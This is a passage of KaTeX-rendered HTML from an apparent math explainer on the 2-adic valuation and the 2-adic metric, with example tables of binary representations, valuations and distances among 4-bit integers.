      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mo separator="true">,</mo><mtext> </mtext><mn>12</mn></mrow><annotation encoding="application/x-tex">4,\ 12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">4</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">12</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn><mo>=</mo><msup><mn>2</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">8 = 2^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup></mrow><annotation encoding="application/x-tex">2^3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center">yes</td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo separator="true">,</mo><mtext> </mtext><mn>7</mn></mrow><annotation encoding="application/x-tex">3,\ 7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">3</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">7</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>4</mn><mo>=</mo><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">4 = 2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">2^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center">yes</td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo separator="true">,</mo><mtext> </mtext><mn>2</mn></mrow><annotation encoding="application/x-tex">1,\ 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>0</mn></msup></mrow><annotation encoding="application/x-tex">2^0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center">no</td>
    </tr>
  </tbody>
</table>

<p>In this bizarre new metric, larger powers mean smaller distances.
The key quantity is: <strong>how many times does 2 divide a number?</strong>
Let’s give it a name — the <em>2-adic valuation</em> <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v_2(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>trailing zeros in the binary representation of </mtext><mi>n</mi></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(3)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">v_2(n) = \text{trailing zeros in the binary representation of } n \tag{3}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord text"><span class="mord">trailing zeros in the binary representation of </span></span><span class="mord mathnormal">n</span></span><span class="tag"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">3</span></span><span class="mord">)</span></span></span></span></span></span>

<p>Some examples:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></th>
      <th style="text-align: center">binary</th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v_2(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn></mrow><annotation encoding="application/x-tex">8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>1000</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">1000_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">100</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>7</mn></mrow><annotation encoding="application/x-tex">7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0111</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">0111_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">011</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0110</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">0110_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">011</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0101</mn><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">0101_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">010</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td style="text-align: center">—</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∞</mi></mrow><annotation encoding="application/x-tex">\infty</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord">∞</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<p>Now, let’s define the <strong>2-adic metric</strong> as:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><msub><mi>d</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mn>2</mn><mrow><mo>−</mo><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><mi>y</mi><mo stretchy="false">)</mo></mrow></msup></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(4)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">d_2(x, y) = 2^{-v_2(x - y)} \tag{4}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.938em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.938em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0359em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">y</span><span class="mclose mtight">)</span></span></span></span></span></span></span></span></span></span><span class="tag"><span class="strut" style="height:1.188em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">4</span></span><span class="mord">)</span></span></span></span></span></span>

<p>Small <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">d_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> means <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>v</mi><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo>−</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">v_2(x-y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> is large, which means <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>−</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x - y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> is divisible by a high power of 2, which means <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> and <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> agree on many trailing bits.</p>

<p>Let’s check who is close to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> under this metric (all 4-bit integers, sorted by distance):</p>

<table>
  <thead>
    <tr>
      <th>number</th>
      <th><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">d_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> from <code class="language-plaintext highlighter-rouge">0000</code></th>
      <th>cluster</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td>← center</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1000</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>3</mn></mrow></msup><mo>=</mo><mn>0.125</mn></mrow><annotation encoding="application/x-tex">2^{-3} = 0.125</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">3</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.125</span></span></span></span></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo stretchy="false">(</mo><mn>0000</mn><mo separator="true">,</mo><mn>0.125</mn><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">{</mo><mn>0000</mn><mo separator="true">,</mo><mn>1000</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">B(0000, 0.125) = \{0000, 1000\}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0502em;">B</span><span class="mopen">(</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">0.125</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1000</span><span class="mclose">}</span></span></span></span></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">0100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup><mo>=</mo><mn>0.25</mn></mrow><annotation encoding="application/x-tex">2^{-2} = 0.25</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.25</span></span></span></span></td>
      <td> </td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">1100</code></td>
      <td><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo>−</mo><mn>2</mn></mrow></msup><mo>=</mo><mn>0.25</mn></mrow><annotation encoding="application/x-tex">2^{-2} = 0.25</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">2</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.25</span></span></span></span></td>
